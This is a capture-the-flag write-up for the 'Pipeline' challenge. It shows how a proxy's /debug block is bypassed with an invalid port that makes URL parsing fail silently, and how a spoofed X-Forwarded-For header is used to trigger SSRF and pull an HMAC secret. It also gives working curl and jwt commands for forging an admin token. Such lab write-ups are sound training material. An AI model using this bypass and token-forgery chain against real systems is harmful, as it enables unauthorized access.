317 words
2 minutes
Pipeline | CyberOdyssey CTF
Cover image of Pipeline | CyberOdyssey CTF

Pipeline#

This challenge presented us with a multi-service architecture consisting of three interconnected servers.

alt text

Server1 (Port 5000)#

  • Internal only, not directly accessible
  • Hosts the JWT secret at /.well-known/jwks.json

Server2 (Port 3000)#

  • Also internal, no direct access
  • Contains the flag endpoint at /admin/flag which requires a valid JWT with admin privileges
  • Has a debug endpoint /debug/fetch vulnerable to SSRF

Proxy (Port 8082)#

  • The only publicly accessible component
  • Routes traffic to Server2 but explicitly blocks paths beginning with /debug

Vulnerability Analysis#

Looking at Server2’s implementation, the /admin/flag endpoint only validates two things:

  1. The JWT must be signed with a valid secret
  2. The token must contain role: admin

The /debug/fetch endpoint trusts any request with the X-Forwarded-For header set to 127.0.0.1.

The attack path becomes clear: leverage the SSRF to reach Server1, grab the JWT secret, forge an admin token, and retrieve the flag.

The Roadblock#

There’s one problem - the proxy actively blocks access to /debug/*:

if (checkPath.toLowerCase().startsWith("/debug")) {
client.write(
"HTTP/1.1 403 Forbidden\r\nConnection: close\r\nContent-Type: text/plain\r\nContent-Length: 9\r\n\r\nforbidden"
);
client.end();
upstream.end();
return;
}

Bypassing the Proxy Filter#

Two interesting observations in the proxy code:

  1. Headers are manually parsed using a custom parseHeaders function:
client.on("data", (chunk) => {
clientBuf = Buffer.concat([clientBuf, chunk]);
const meta = parseHeaders(clientBuf);
if (!meta) return;
const { idx, method, path, headers } = meta;
  1. URL parsing errors are silently ignored:
try {
if (/^https?:\/\//i.test(checkPath)) {
const u = new URL(checkPath);
checkPath = u.pathname || "";
}
} catch (_) {}

Using port 65540 (which exceeds the maximum valid port of 65535) causes new URL() to throw an exception. Since errors are swallowed, the path check is bypassed:

Terminal window
curl -X GET "http://192.168.1.17:8082/https://localhost:65540/debug/fetch?url=http://localhost:5000/.well-known/jwks.json" \
-H "Host: 192.168.1.17" \
-H "X-Forwarded-For: 127.0.0.1"

The payload above gave us the JWT secret from Server1. The response contains the HMAC secret in the n field:

{
"keys": [
{
"kty": "RSA",
"n": "random-string-for-hmac-secret",
...
}
]
}

Next, forge a JWT with admin privileges:

Terminal window
# Using jwt-cli
jwt encode --secret "random-string-for-hmac-secret" '{"role":"admin"}'
# Or using Node.js one-liner
node -e "console.log(require('jsonwebtoken').sign({role:'admin'},'random-string-for-hmac-secret',{algorithm:'HS256'}))"

Finally, request the flag using the forged token:

Terminal window
curl -H "Authorization: Bearer <your-jwt-token>" http://192.168.1.17:8082/admin/flag

And that’s the flag!

Pipeline | CyberOdyssey CTF
https://dahmanisec.me/posts/cyberodyssey/
Author
Abderrahim Dahmani
Published at
2025-11-05
License
CC BY-NC-SA 4.0